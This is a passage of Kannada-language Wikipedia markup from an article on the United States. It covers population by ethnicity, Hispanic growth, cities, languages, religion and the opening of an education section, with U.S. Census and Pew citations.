[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು|ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು ಮತ್ತು ಅಲಾಸ್ಕಾದ ಸ್ಥಳೀಯರು]] | 1.0% |- | [[ಹವಾಯಿಯ ಸ್ಥಳಿಯರು|ಸ್ಥಳೀಯ ಹವಾಯಿ ಹನರು ಮತ್ತು ಪೆಸಿಫಿಕ್ ದ್ವೀಪದವರು]] | 0.2% |- | [[ಬಹುಜನಾಂಗೀಯ]] | 1.7% |- | [[ಹಿಸ್ಪನಿಕ್ ಮತ್ತು ಲ್ಯಾಟಿನೊ ಅಮೆರಿಕದವರು|ಸ್ಪಾನಿಷ್‌ರು]] (''ಯಾವುದೇ ಜನಾಂಗದ'' ) | 15.4% |} </div> [[ಹಿಸ್ಪ್ಯಾನಿಕ್ ಮತ್ತು ಲ್ಯಾಟಿನೊ ಅಮೆರಿಕದವರು|ಸ್ಪಾನಿಶ್ ಮತ್ತು ಲ್ಯಾಟಿನೋ ಅಮೆರಿಕನ್]] ಜನಸಂಖ್ಯೆಯ (ಈ ಪದವು ಸಾರ್ವಜನಿಕವಾಗಿ ಪರಸ್ಪರ ವಿನಿಮಕಾರಕವಾಗಿದೆ.) ಬೆಳವಣಿಗೆಯು ಬಹುಮುಖ್ಯವಾಗಿ [[ಜನಸಂಖ್ಯಾ ವಿಜ್ಞಾನದ ಬಲಾವಣೆ|ಜನಾಂಗ ಅಧ್ಯಯನದ ಹೊಸ ದಿಕ್ಕಾ]]ಗಿದೆ. ಸೆನ್ಸಸ್ ಬ್ಯೂರೋದಿಂದ ಗುರುತಿಸಲಾಗಿರುವಂತೆ 46.9 ಮಿಲಿಯನ್‌ ಹಿಸ್ಪಾನಿಕ್ <ref name="Cen2008"/>ಅಮೆರಿಕನ್ನರು ಅಸಾಮಾನ್ಯವಾದ "[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಗಣತಿಯಲ್ಲಿ ವರ್ಗ ಮತ್ತು ಜನಾಂಗ|ಜನಾಂಗೀಯತೆ]]"ಯನ್ನು ಹಂಚಿಕೊಂಡಿದ್ದಾರೆ. [[ಮೆಕ್ಸಿಕೊದ ಅಮೆರಿಕನ್ನರು|ಮೆಕ್ಸಿಕನ್‌]]ನ 64% ಜನರು ಹಿಸ್ಪಾನಿಕ್ ಅಮೆರಿಕನ್ನರಾಗಿದ್ದಾರೆ.<ref name="CB2007">{{cite web | url = http://factfinder.census.gov/servlet/DTTable?_bm=y&-ds_name=ACS_2007_1YR_G00_&-CONTEXT=dt&-mt_name=ACS_2007_1YR_G2000_B03001&-redoLog=true&-geo_id=01000US&-geo_id=04000US48&-format=&-_lang=en&-SubjectID=15233304 | title = B03001. Hispanic or Latino Origin by Specific Origin | work = 2007 American Community Survey | publisher = U.S. Census Bureau | accessdate = 2008-09-26 | archive-date = 2020-02-12 | archive-url = https://archive.today/20200212040125/http://factfinder.census.gov/servlet/DTTable?_bm=y&-ds_name=ACS_2007_1YR_G00_&-CONTEXT=dt&-mt_name=ACS_2007_1YR_G2000_B03001&-redoLog=true&-geo_id=01000US&-geo_id=04000US48&-format=&-_lang=en&-SubjectID=15233304 | url-status = dead }}</ref> 2000 ಮತ್ತು 2008ರ ಮಧ್ಯೆ ದೇಶದ ಹಿಸ್ಪಾನಿಕ್ ಜನಸಂಖ್ಯೆಯು 32% ಹೆಚ್ಚಾಗಿದೆ. ಆದರೆ ಅದೇವೇಳೆ ಹಿಸ್ಪಾನಿಕ್ ಅಲ್ಲದ ಜನಸಂಖ್ಯೆಯು ಕೇವಲ 4.3% ಹೆಚ್ಚಾಗಿದೆ.<ref name="Cen2008"/> ಈ ಹೆಚ್ಚಿನ ಬೆಳವಣಿಗೆಯು ವಲಸೆಯಿಂದಾದದ್ದು. 2007ರಂತೆ ೧೨.೪%ರಷ್ಟು ಅಮೆರಿಕದ ಜನರು ವಿದೇಶದಲ್ಲಿ ಹುಟ್ಟಿದವರು. ಜೊತೆಗೆ 54%ರಷ್ಟು ಜನರು [[ಲ್ಯಾಟಿನ್ ಅಮೆರಿಕ|ಲ್ಯಾಟಿನ್ ಅಮೆರಿಕಾ]]ದಲ್ಲಿ ಜನಿಸಿದವರು.<ref>{{cite web| url = http://www.census.gov/compendia/statab/cats/population/native_and_foreignborn_populations.html| archiveurl = https://web.archive.org/web/20071225193714/http://www.census.gov/compendia/statab/cats/population/native_and_foreignborn_populations.html| archivedate = 2007-12-25| title = Population: Native and Foreign-born Populations (Tables 42 and 43)| publisher = U.S. Census Bureau| work = 2009 Statistical Abstract| date = 2008-12-23| accessdate = 2009-01-21| url-status = live}}</ref> ಇದಕ್ಕೆ ಜನಸಂಖ್ಯಾ ಸರಾಸರಿಯ ಫಲವತ್ತತೆಯೂ ಒಂರು ಕಾರಣವಾಗಿದೆ. ಸರಿಸುಮಾರು ಒಬ್ಬ ಹಿಸ್ಪಾನಿಕ್ ಸ್ತ್ರೀಯು ತನ್ನ ಜೀವಿತಾವಧಿಯಲ್ಲಿ ಮೂರು ಮಗುವಿಗೆ ಜನ್ಮ ನೀಡುತ್ತಾಳೆ. ಸರಾಸರಿ ಸಂತಾನೋತ್ಪತ್ತಿಯ ದರವು ಹಿಸ್ಪಾನಿಕ್ ಅಲ್ಲದ ಕಪ್ಪು ಮಹಿಳೆಯರಲ್ಲಿ 2.2ರಷ್ಟಿದೆ ಮತ್ತು ಹಿಸ್ಪಾನಿಕ್ ಅಲ್ಲದ ಬಿಳಿ ಸ್ತ್ರೀರಲ್ಲಿ ಈ ದರವು 1.8ರಷ್ಟಿದೆ.(2.1 [[ಒಟ್ಟು ಫಲವತ್ತತೆಯ ದರ #ಬದಲಿ ದರಗಳು|ಬದಲಾವಣೆಯ ದರ]]ಕ್ಕಿಂತಲೂ ಕೆಳಗೆ)<ref name="PRC"/> [[ಅಲ್ಪಸಂಖ್ಯಾತ ಗುಂಪು|ಅಲ್ಪಸಂಖ್ಯಾತರು]]( ಹಿಸ್ಪಾನಿಕ್ ಅಲ್ಲದ, ಬಹುಜನಾಂಗೀಯ ಬಿಳಿಯರಲ್ಲದ ಎಲ್ಲರನ್ನೂ ಸೇರಿ ಸೆನ್ಸಸ್ ಬ್ಯೂರೋ ವಿವರಿಸಿದಂತೆ) 34% ಜನಸಂಖ್ಯೆಯ ಘಟಕವಾಗಿದ್ದಾರೆ. 2042ರಲ್ಲಿ ಇವರನ್ನು ಬಹುಸಂಖ್ಯಾತರಾಗಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://www.census.gov/Press-Release/www/releases/archives/population/012496.html|title=An Older and More Diverse Nation by Midcentury|publisher=U.S. Census Bureau|date=2008-08-14|accessdate=2008-09-06}}</ref> ಸುಮಾರು 79% ರಷ್ಟು ಅಮೆರಿಕನ್ನರು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನಗರ ಪ್ರದೇಶ|ನಗರ ಪ್ರದೇಶ]]ದಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರೆ. ([[ಉಪನಗರ]]ಗಳಂಥವನ್ನೂ ಸೇರಿಸ ಸೆನ್ಸಸ್ ಬ್ಯೂರೋ ವಿಶ್ಲೇಷಿಸಿದಂತೆ). ಇವರಲ್ಲಿ ಸುಮಾರು ಅರ್ಧದಷ್ಟು ಜನರು, 50,000 ಜನಸಂಖ್ಯೆಯ ಪಟ್ಟಣದಲ್ಲಿ ನೆಲೆಸಿದ್ದಾರೆ.<ref>{{cite web| url = http://factfinder.census.gov/servlet/GCTTable?_bm=y&-state=gct&-ds_name=DEC_2000_SF1_U&-_box_head_nbr=GCT-P1&-mt_name=&-_caller=geoselect&-geo_id=&-format=US-1&-_lang=en| title = United States—Urban/Rural and Inside/Outside Metropolitan Area (GCT-P1. Population, Housing Units, Area, and Density: 2000)| publisher = U.S. Census Bureau| date = 2000-04-01| accessdate = 2008-09-23| archive-date = 2020-02-12| archive-url = https://archive.today/20200212044207/http://factfinder.census.gov/servlet/GCTTable?_bm=y&-state=gct&-ds_name=DEC_2000_SF1_U&-_box_head_nbr=GCT-P1&-mt_name=&-_caller=geoselect&-geo_id=&-format=US-1&-_lang=en| url-status = dead}}</ref> 2006ರಲ್ಲಿ 254 [[ಜನಸಂಖ್ಯೆಯ ಪ್ರಕಾರ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನಗರಗಳ ಪಟ್ಟಿ|ಅಸಂಘಟಿತ ಪ್ರದೇಶ]]ಗಳು 100,000ಕ್ಕಿಂತ ಹೆಚ್ಚು ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿವೆ ಮತ್ತು ಒಂಭತ್ತು ಪಟ್ಟಣಗಳು ಒಂದು ಮಿಲಿಯನ್‌ನಿಗಿಂತಲೂ ಹೆಚ್ಚು ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿವೆ ಹಾಗೂ ನಾಲ್ಕು [[ಜಾಗತಿಕ ನಗರ]]ಗಳಾದ [[ನ್ಯೂಯಾರ್ಕ್ ನಗರ|ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿ]], [[ಲಾಸ್ ಏಂಜಲೀಸ್|ಲಾಸ್ ಏಂಜಲ್ಸ್]], [[ಚಿಕಾಗೊ|ಚಿಕಾಗೋ]] ಮತ್ತು [[ಹೌಸ್ಟನ್]] ನಗರಗಳು ಎರಡು ಮಿಲಿಯನ್‌ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿ ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿವೆ.<ref name="PopEstBigCities">{{cite web | url = http://www.census.gov/Press-Release/www/2007/cb07-91table1.pdf|format=PDF| title =Table 1: Population Estimates for the 25 Largest U.S. Cities Based on July 1, 2006, Population Estimates: April 1, 2000 to July 1, 2006 | work = 2006 Population Estimates | publisher = U.S. Census Bureau, Population Division | date =2007-06-28| accessdate = 2007-09-08}}</ref> ಐವತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮಹಾನಗರವಾಸಿ ಪ್ರದೇಶಗಳ ಕೋಷ್ಟಕ|ಮೆಟ್ರೋಪಾಲಿಟನ್ ಪ್ರದೇಶಗಳು]] ಒಂದು ಮಿಲಿಯನ್‌ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿನ ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿವೆ.<ref name="PopEstMSA">{{cite web | url = http://www.census.gov/Press-Release/www/releases/archives/cb07-51tbl2.pdf |format=PDF| title = Table 2. Population Estimates for the 100 Most Populous Metropolitan Statistical Areas Based on July 1, 2006, Population Estimates | work = 2006 Population Estimates | publisher = U.S. Census Bureau| date =2007-04-05| accessdate = 2007-06-17}}</ref> ಐವತ್ತು ಅತೀವೇಗವಾಗಿ ಬೆಳೆಯುವ ಮೆಟ್ರೋ ಪ್ರದೇಶಗಳಲ್ಲಿ ಇಪ್ಪತ್ಮೂರು ಪ್ರದೇಶಗಳು ಪಶ್ಚಿಮದಲ್ಲಿ ಮತ್ತು ಇಪ್ಪತ್ತೈದು ದಕ್ಷಿಣದಲ್ಲಿದೆ. [[ಅಟ್ಲಾಂಟ|ಅಟ್ಲಾಂಟಾ]], [[ಡಲ್ಲಾಸ್‌|ಡಲ್ಲಾಸ್]], ಹೌಸ್ಟನ್, [[ಫೀನಿಕ್ಸ್ , ಆರಿಜೊನ|ಫೊನಿಕ್ಸ್]] ಮತ್ತು ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ [[ಒಳಪ್ರದೇಶ ಸಾಮ್ರಾಜ್ಯ (ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ )|ಅಂತರ್ದೇಶೀಯ ಸಾಮ್ರಾಜ್ಯ]]ವು 2000 ಮತ್ತು 2006ರ ಮಧ್ಯೆ ಮಿಲಿಯನ್‌ ಜನರು ಮೂರು ಪಾದಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚು ಅಭಿವೃದ್ಧಿಗೊಂಡರು.<ref>{{cite web|url=http://www.census.gov/Press-Release/www/releases/archives/population/009865.html|title=50 Fastest-Growing Metro Areas Concentrated in West and South|publisher=U.S. Census Bureau|date=2007-04-05|accessdate=2007-01-26}}</ref> {{Largest cities of the United States}} {{-}} === ಭಾಷೆ === {{Main|Languages of the United States}} {{seealso|Language Spoken at Home (U.S. Census)}} <div style="font-size:90%"> {| class="wikitable" border="1" style="border:1px black;float:right;margin-left:1em" ! style="background:#f99" colspan="2"|ಭಾಷೆಗಳು (2005)<ref name="USCB Lang">{{cite web|url=http://www.census.gov/prod/2007pubs/08statab/pop.pdf|publisher=U.S. Census Bureau|work=Statistical Abstract of the United States 2006| title=Table 52—Languages Spoken at Home by Language: 2005|accessdate = 2008-10-18}}</ref> |- | ಇಂಗ್ಲಿಷ್ (''ಕೇವಲ'' ) | 216.2 ಮಿಲಿಯನ್‌ |- | ಸ್ಪಾನಿಷ್, [[ಸ್ಪಾನಿಶ್ ಮೂಲದ ಕ್ರೆಒಲ್ ಭಾಷೆಗಳು|ಕ್ರಿಯೋಲ್ ಸೇರಿ]] | 32.2 ಮಿಲಿಯನ್‌ |- | ಚೀನಿಯರು | 2.3 ಮಿಲಿಯನ್‌ |- | ಫ್ರೆಂಚ್,[[ಫ್ರೆಂಚ್ ಮೂಲದ ಕ್ರೆಯೋಲ್ ಭಾಷೆಗಳು|ಕ್ರಿಯೋಲ್ ಸೇರಿ]] | 1.9 ಮಿಲಿಯನ್‌ |- | [[ಟ್ಯಗಲಾಗ್ ಭಾಷೆ|ತಗಲೊಗ್]] | 1.4 ಮಿಲಿಯನ್‌ |- | [[ವಿಯೆಟ್ನಮೀಯರ ಭಾಷೆ|ವಿಯೆಟ್ನಾಮಿಗಳು]] | 1.1 ಮಿಲಿಯನ್‌ |- | ಜರ್ಮನ್ | 1.1 ಮಿಲಿಯನ್‌ |} </div> ನಿಜವಾದ [[ರಾಷ್ಟ್ರೀಯ ಭಾಷೆ]] [[ಅಮೆರಿಕದ ಇಂಗ್ಲಿಷ್|ಇಂಗ್ಲಿಷ್]]. ಫೆಡರಲ್ ಹಂತದಲ್ಲಿ [[ಅಧಿಕೃತ ಭಾಷೆ]] ಎಂಬುದಿಲ್ಲ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರೀಯ ಕಾನೂನು#ನೈಸರ್ಗಿಕತೆ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರೀಕರಣ ಅಗತ್ಯ]]ದಂಥ ಕೆಲವು ಕಾನೂನುಗಳು ಗುಣಮಟ್ಟದ ಇಂಗ್ಲೀಷ್‌ಗಳಾಗಿವೆ. 2005ರಲ್ಲಿ ಐದು ವರ್ಷಕ್ಕಿಂತ ಮೇಲ್ಪಟ್ಟವರು ಮತ್ತು ವಯಸ್ಕರಲ್ಲಿ ಸುಮಾರು 216ಮಿಲಿಯನ್‌ ಅಥವಾ 81% ರಷ್ಟು ಜನರು ಕೇವಾಲ್ ಇಂಗ್ಲಿಷನ್ನೇ ಮಾತನಾಡುತ್ತಾರೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸ್ಪಾನಿಶ್|ಸ್ಪಾನಿಷ್]] ಭಾಷೆಯು 12%ರಷ್ಟು ಜನರಿಂದ ಮಾನಾಡಲ್ಪಡುತ್ತದೆ. ಮತ್ತು ಇದು ದೇಶದ ಎರಡನೇ ಅತಿ ಸಾಮಾನ್ಯ ಭಾಷೆಯಾಗಿದೆ ಮತ್ತು ವಿಶಾಲವಾಗಿ ಹರಡಿದ ಭಾಷೆಯಾಗಿದೆ.<ref name="USCB Lang"/><ref>{{cite web| url = http://www.adfl.org/resources/enrollments.pdf| title = Foreign Language Enrollments in United States Institutions of Higher Learning|date=fall 2002| publisher = MLA| accessdate = 2006-10-16}}</ref> ಕನಿಷ್ಠ ಇಪ್ಪತ್ತೆಂಟು ರಾಜ್ಯಗಳಲ್ಲಿರುವಂತೆ ಕೆಲವು ಅಮೆರಿಕನ್ ವಕೀಲರು ಇಂಗ್ಲಿಷನ್ನು ದೇಶದ ಅಧಿಕೃತ ಭಾಷೆಯಾಗಿ ಮಾಡುತಿದ್ದಾರೆ.<ref name="ILW">{{cite web|author=Feder, Jody| url = http://www.ilw.com/immigdaily/news/2007,0515-crs.pdf| title = English as the Official Language of the United States—Legal Background and Analysis of Legislation in the 110th Congress|date=2007-01-25| publisher = ILW.COM (Congressional Research Service)| accessdate = 2007-06-19}}</ref> ಹವಾಯಿ ರಾಜ್ಯ ಕಾನೂನಿನಂತೆ [[ಹವಾಯಿಯ ಭಾಷೆ|ಹವಾಯಿ ಭಾಷೆ]] ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಎರಡೂ ಭಾಷೆಗಳು ಅಧಿಕೃತ ಭಾಷೆಯಾಗಿದೆ.<ref>{{cite web|url=http://www.hawaii.gov/lrb/con/conart15.html|title=The Constitution of the State of Hawaii, Article XV, Section 4| publisher=Hawaii Legislative Reference Bureau|date=1978-11-07|accessdate=2007-06-19}}</ref> ಇದ್ಯಾವುದೂ ಅಲ್ಲದೇ [[ಹೊಸ ಮೆಕ್ಸಿಕೊ|ನ್ಯೂ ಮೆಕ್ಸಿಕೋ]] ಇಂಗ್ಲಿಷ್ ಮತ್ತು ಸ್ಪಾನಿಷ್ ಎರಡನ್ನೂ ಉಪಯೋಗಿಸುವುದಕ್ಕೆ ಕಾನೂನು ಸಮ್ಮತಿಸಿದೆ. ಹಾಗೇ [[ಲುಯೀಸಿಯಾನಾ|ಲೂಸಿಯಾನಾ]]ವು ಇಂಗ್ಲಿಷ್ ಮತ್ತು ಫ್ರೆಂಚ್ ಭಾಷೆಗಳೆರಡನ್ನೂ ಸಮ್ಮತಿಸಿದೆ.<ref>{{cite book| author =Dicker, Susan J. | title = Languages in America: A Pluralist View |year=2003|pages=216, 220–25 | location =Clevedon, UK| publisher = Multilingual Matters|isbn=1853596515}}</ref> [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]]ದಂಥ ರಾಜ್ಯಗಳಲ್ಲಿ ನ್ಯಾಯಾಲಯದಂಥ ಇಲಾಖೆಗಳಲ್ಲಿ ಸರ್ಕಾರೀ ಕಡತಗಳನ್ನು ಸ್ಪಾನಿಷ್ ಭಾಷೆಯಲ್ಲಿ ನಿರೂಪಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://www.leginfo.ca.gov/cgi-bin/waisgate?WAISdocID=90544325063+0+0+0&WAISaction=retrieve|title=California Code of Civil Procedure, Section 412.20(6)| publisher=Legislative Counsel, State of California|accessdate=2007-12-17}} {{cite web|url=http://www.courtinfo.ca.gov/forms/allforms.htm|title=California Judicial Council Forms| publisher=Judicial Council, State of California|accessdate=2007-12-17}}</ref> ಕೆಲವು ದ್ವೀಪದಂಥ ಆಡಳಿತ ಪ್ರದೇಶಗಳು ಅಧಿಕೃತ ಭಾಷೆಯಾಗಿ ಇಂಗ್ಲಿಷ್‌ನ ಜೊತೆ ತಮ್ಮ ಸ್ಥಳೀಯ ಭಾಷೆಯನ್ನು ಅಳವಡಿಸಿಕೊಂಡಿದ್ದಾರ. [[ಸಮಾವೋ ಭಾಷೆ|ಸಮೌನ್]] ಮತ್ತು [[ಶಮೊರೋ ಭಾಷೆ|ಚಮೊರ್ರೋ]] ಭಾಷೆಯು ಅನುಕ್ರಮವಾಗಿ ಸಮಾಓ ಮತ್ತು ಗುವಾಮ ಪ್ರದೇಶದಲ್ಲೂ, [[ಕೆರೊಲಿನಿಯನ್ ಭಾಷೆ|ಕೆರೊಲಿನಿಯನ್]] ಮತ್ತು ಚಮೊರ್ರೋ ಭಾಷೆಯು ಉತ್ತರ ಮರಿಯಾನಾ ದ್ವೀಪಗಳಿಗೆ ಅಧಿಕೃತ ಭಾಷೆಯಾಗಿದೆ.ಸ್ಪಾನಿಷ್ ಭಾಷೆಯು ಪೋರ್ಟೋ ರಿಕೋದ ಅಧಿಕೃತ ಭಾಷೆಯಾಗಿದೆ. === ಧರ್ಮ === {{Main|Religion in the United States}} {{seealso|History of religion in the United States|Freedom of religion in the United States|Separation of church and state in the United States|List of religious movements that began in the United States}} [[ಚಿತ್ರ:BrunswickWhiteChurch.jpg|thumb|right| ಪ್ರೆಸ್‌ಬೈಟೆರಿಯನ್ ಚರ್ಚ್; ಬಹಳಷ್ಟು ಅಮೆರಿಕನ್ನರು ತಮ್ಮನ್ನು ಕ್ರಿಶ್ಚಿಯನ್ನರೆಂದು ಗುರುತಿಸಿಕೊಳ್ಳುತ್ತಾರೆ.]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಅಧಿಕೃತವಾಗಿ [[ಜಾತ್ಯತೀತ ರಾಜ್ಯ|ಜಾತ್ಯಾತೀತ ರಾಷ್ಟ್ರ]]ವಾಗಿದೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನಕ್ಕೆ ಮೊದಲ ತಿದ್ದುಪಡಿ|ಮೊದಲ ಸಂವಿಧಾನ ತಿದ್ದುಪಡಿ]]ಯಲ್ಲಿ ಧರ್ಮದ ಮುಕ್ತ ಆಚರಣೆಗೆ ಅವಕಾಶ ನೀಡಿದೆ ಆದರೆ ಯಾವುದೇ ಧಾರ್ಮಿಕ ಅಡಳಿತದ ಸ್ಥಾಪನೆಗೆ ಅವಕಾಶ ನೀಡುವುದಿಲ್ಲ. 2002ರ ಅಧ್ಯಯನದಲ್ಲಿ 59%ರಷ್ಟು ಅಮೆರಿಕನ್ನರು, "ತಮ್ಮ ಜೀವನದಲ್ಲಿ ಧರ್ಮವು ಅತೀ ಮುಖ್ಯವಾದ ಪಾತ್ರವನ್ನು ಹೊಂದಿದೆ" ಎಂದಿದ್ದಾರೆ. ಉಳಿದೆಲ್ಲ ಶ್ರೀಮಂತ ದೇಶಗಳಿಗೆ ಹೋಲಿಸಿದರೆ ಈ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದವರ ಅತೀ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆ ಇದಾಗಿದೆ.<ref>{{cite web|url=http://pewglobal.org/reports/display.php?ReportID=167|title=Among Wealthy Nations…U.S. Stands Alone in its Embrace of Religion| publisher=Pew Research Center|work=Pew Global Attitudes Project|date=2002-12-19|accessdate=2008-10-23}}</ref> 2007ರ ಗಣತಿಯ ಆಧಾರದ ಮೇಲೆ, 78.4% ಯುವಕರು ತಮ್ಮನ್ನು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಕ್ರೈಸ್ತ ಧರ್ಮೀಯತೆ|ಕ್ರೈಸ್ತ ಧರ್ಮೀಯ]]<ref name="Pew">{{cite web|url=http://religions.pewforum.org/pdf/affiliations-all-traditions.pdf|title=Religious Composition of the U.S.| publisher=Pew Forum on Religion & Public Life|work=U.S. Religious Landscape Survey|year=2007|accessdate=2008-10-23}}</ref> ಎಂದು ಗುರುತಿಸಿ ಕೊಳ್ಳುತ್ತಾರೆ. ಈ ಪ್ರಮಾಣ 1990ರಲ್ಲಿ 86.4%ರಷ್ಟಿತ್ತು.<ref name="ARIS">{{cite web|url=http://www.gc.cuny.edu/faculty/research_briefs/aris/key_findings.htm|title=American Religious Identification Survey| publisher=CUNY Graduate Center|year=2001|accessdate=2007-06-17}}</ref> 51.3%ರಷ್ಟು [[ಪ್ರೊಟೆಸ್ಟಾಂಟಿಸಮ್|ಪ್ರೊಟೆಸ್ಟೆಂಟ್]] ಪಂಗಡವಿದೆ. ಮತ್ತು ಅದೇವೇಳೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ರೋಮನ್ ಕ್ಯಾಥೊಲಿಕ್‌ವಾದ|ರೋಮನ್ ಕ್ಯಾಥೊಲಿಕ್]] ಪಂಗಡವು 23.9%ರಷ್ಟಿದೆ. ಇವೆರಡೂ ಅತೀ ದೊಡ್ದ ಅಂತರ್‌ಪಂಗಡಗಳು. ಅಧ್ಯಯನವು ಹೇಳುವಂತೆ 26.3%ರಷ್ಟು ಜನಸಂಖ್ಯೆಯ ಬಿಳಿ [[ಇವ್ಯಾಂಗೆಲಿಕಲಿಸಂ|ಇವಾಂಜೆಲ್‌]]ಗಳು ದೇಶದ ಅತೀದೊಡ್ಡ ಧಾರ್ಮಿಕ ಸಮುದಾಯವಾಗಿದೆ. <ref name="Pew"/> ಇನ್ನೊಂದು ಅಧ್ಯಯನವು ಅಂದಾಜಿಸುವಂತೆ, ಎಲ್ಲ ಜನಾಂಗದ ಇವಾಂಜೆಲ್‌ಗಳು ಸುಮಾರು 30-35%ರಷ್ಟಿದ್ದಾರೆ ತಿಳಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.uakron.edu/bliss/docs/Religious_Landscape_2004.pdf|author=Green, John C|title=The American Religious Landscape and Political Attitudes: A Baseline for 2004| publisher=University of Akron|Ray C. Bliss Institute of Applied Politics|accessdate=2007-06-18}}</ref> ಕ್ರಿಶ್ಚಿಯನ್ನೇತರ ಧರ್ಮವು 2007ರಲ್ಲಿ ವರದಿಯಾದಂತೆ 4.7%ರಷ್ಟಿದ್ದು 1990ರಲ್ಲಿ ಈ ಸಂಖ್ಯೆಯು 3.3%ರಷ್ಟಿತ್ತು.<ref name="ARIS"/> ಮುಖ್ಯವಾದ ಕ್ರಿಷ್ಚಿಯನೇತರ ಧರ್ಮಗಳೆಂದರೆ: [[ಅಮೆರಿಕನ್ ಜ್ಯೂಸ್|ಜುದಾಯಿ ಧರ್ಮೀಯರು]] (1.7%), [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಭೌದ್ಧ ಧರ್ಮ|ಬೌದ್ಧ ಧ್ರರ್ಮೀಯರು]](0.7%), [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಇಸ್ಲಾಂ|ಇಸ್ಲಾಂ ಧರ್ಮೀಯರು(]]0.68%), [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಹಿಂದೂಧರ್ಮ|ಹಿಂದೂ ಧರ್ಮೀಯರು]] (0.4%) ಮತ್ತು [[ಯುನಿಟೇರಿಯನ್ ಜಾಗತಿಕತೆ|ಮುಕ್ತ ಧರ್ಮೀಯರು]](0.38%).<ref name="Pew"/> 1990<ref name="ARIS"/>ರಲ್ಲಿ 8.2%ರಷ್ಟಿದ್ದ [[ನಾಸ್ತಿಕತೆ|ದೈವತ್ವದ ಬಗ್ಗೆ ತಿಳುಳಿಕೆ ಇಲ್ಲದವರು]],[[ನಿರೀಶ್ವರವಾದ|ನಾಸ್ತಿಕರು]], ಅಥವಾ [[ಮತಧರ್ಮ ವಿರೋಧ|ಧರ್ಮ ಇಲ್ಲದವರೆಂ]]ದು ಕರೆದುಕೊಂಡವರು 2007ರಲ್ಲಿ 16.1%ರಷ್ಟಾಗಿದ್ದರು.<ref name="Pew"/> === ಶಿಕ್ಷಣ === {{Main|Education in the United States}} {{seealso|Educational attainment in the United States|Higher education in the United States}} [[ಚಿತ್ರ:University-of-Virginia-Rotunda.jpg|thumb|right| ವರ್ಜೀನಿಯಾ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಂಥಹ ಸಾರ್ವಜನಿಕ ವಿಶ್ವವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ 80%ರಷ್ಟು ಕಾಲೇಜು ವಿದ್ಯಾರ್ಥಿಗಳು ಅಭ್ಯಸಿಸುತ್ತಿದ್ದಾರೆ. ಥಾಮಸ್ ಜೆಫರ್ಸನ್ ಸಂಸ್ಥಾಪಿಸಿದ ಒಂದು ಜಾಗತಿಕ ಸಾಂಪ್ರದಾಯಿಕ ಜಾಲತಾಣ.]] ಅಮೆರಿಕದ [[ಸಾರ್ವಜನಿಕ ಶಿಕ್ಷಣ]]ವು ರಾಜ್ಯ ಮತ್ತು ಸ್ಥಳೀಯ ಸರ್ಕಾರಗಳಿಂದ ನಡೆಸಲ್ಪಡುತ್ತದೆ ಹಾಗೂ ಫೆಡರಲ್ ನಿಧಿಯ ಪರಿಮಿತಿಯಲ್ಲಿ[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಶಿಕ್ಷಣ ವಿಭಾಗ|ಸಂಯಕ್ತ ಸಂಸ್ಥಾನದ ಶಿಕ್ಷಣ ಇಲಾಖೆ]]ಯ ನಿಯಮಕ್ಕೆ ಒಳಪಟ್ಟಿರುತ್ತದೆ. ಸಾಮಾನ್ಯವಾಗಿ ಎಲ್ಲ ರಾಜ್ಯಗಳಲ್ಲಿ ಮಕ್ಕಳು ತಮ್ಮ ಆರು ಅಥವಾ ಏಳನೇ ವಯಸ್ಸಿನಿಂದ (ಸಾಮಾನ್ಯವಾಗಿ [[ಶಿಶುವಿಹಾರ|ಕಿಂಡರ್‌ಗಾರ್ಟನ್]] ಅಥವಾ [[ಪ್ರಥಮ ದರ್ಜೆ|ಮೊದಲ ದರ್ಜೆ]]ಗೆ) ಹದಿನೆಂಟನೇ ವರ್ಷದವರೆಗೆ (ಸಾಮಾನ್ಯವಾಗಿ [[ಹನ್ನೆರಡನೆ ದರ್ಜೆ|ಹನ್ನೆರಡನೇ ದರ್ಜೆ]]ಯಿಂದ [[ಪ್ರೌಢಶಾಲೆ]]ಯ ಕೊನೆಯವರೆಗೆ) 